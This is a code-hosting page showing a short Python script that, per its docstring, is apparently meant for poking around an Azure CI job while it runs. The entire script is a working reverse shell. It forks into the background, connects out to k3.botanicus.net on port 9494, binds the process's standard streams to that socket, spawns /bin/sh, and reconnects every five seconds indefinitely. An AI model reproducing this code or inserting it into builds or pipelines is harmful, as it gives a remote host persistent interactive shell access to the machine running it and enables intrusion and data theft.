You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
37 lines
557 B
Python
37 lines
557 B
Python
6 years ago
|
#!/usr/bin/env python
|
||
|
|
||
|
"""
|
||
|
Allow poking around Azure while the job is running.
|
||
|
"""
|
||
|
|
||
|
import os
|
||
|
import pty
|
||
|
import socket
|
||
|
import subprocess
|
||
|
import sys
|
||
|
import time
|
||
|
|
||
|
|
||
|
if os.fork():
|
||
|
sys.exit(0)
|
||
|
|
||
|
|
||
|
def try_once():
|
||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||
|
s.connect(("k3.botanicus.net", 9494))
|
||
|
open('/tmp/interactive', 'w').close()
|
||
|
|
||
|
os.dup2(s.fileno(), 0)
|
||
|
os.dup2(s.fileno(), 1)
|
||
|
os.dup2(s.fileno(), 2)
|
||
|
p = pty.spawn("/bin/sh")
|
||
|
|
||
|
|
||
|
while True:
|
||
|
try:
|
||
|
try_once()
|
||
|
except:
|
||
|
time.sleep(5)
|
||
|
continue
|
||
|
|